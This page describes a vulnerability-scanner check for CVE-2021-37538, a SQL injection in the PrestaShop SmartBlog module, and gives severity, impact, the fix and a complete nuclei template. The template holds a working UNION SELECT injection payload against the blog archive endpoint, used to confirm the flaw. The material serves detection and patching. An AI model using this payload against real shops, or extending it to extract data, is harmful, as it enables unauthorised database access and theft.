PrestaShop SmartBlog <4.0.6 - SQL Injection

criticalseverity

9.8CVSS score

74.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

PrestaShop SmartBlog by SmartDataSoft < 4.0.6 is vulnerable to a SQL injection vulnerability in the blog archive functionality.

Impact

An attacker can gain unauthorized access to the database, extract sensitive information, modify data, or perform other malicious activities.

Fix

Upgrade PrestaShop SmartBlog to version 4.0.6 or later to mitigate the SQL Injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/module/smartblog/archive?month=1&year=1&day=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N…
Positive when: contains "c5fe25896e49ddfe996db7508cf00534" AND status 200

Run it with nuclei: nuclei -id CVE-2021-37538 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-37538

info:
  name: PrestaShop SmartBlog <4.0.6 - SQL Injection
  author: whoever
  severity: critical
  description: PrestaShop SmartBlog by SmartDataSoft < 4.0.6 is vulnerable to a SQL injection vulnerability in the blog archive functionality.
  impact: |
    An attacker can gain unauthorized access to the database, extract sensitive information, modify data, or perform other malicious activities.
  remediation: |
    Upgrade PrestaShop SmartBlog to version 4.0.6 or later to mitigate the SQL Injection vulnerability.
  reference:
    - https://blog.sorcery.ie/posts/smartblog_sqli/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37538
    - https://classydevs.com/free-modules/smartblog/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-37538
    cwe-id: CWE-89
    epss-score: 0.74489
    epss-percentile: 0.99497
    cpe: cpe:2.3:a:smartdatasoft:smartblog:*:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 1
    vendor: smartdatasoft
    product: smartblog
    framework: prestashop
  tags: cve2021,cve,prestashop,smartblog,sqli,smartdatasoft,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/module/smartblog/archive?month=1&year=1&day=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20MD5(55555)),NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20-"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "c5fe25896e49ddfe996db7508cf00534"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from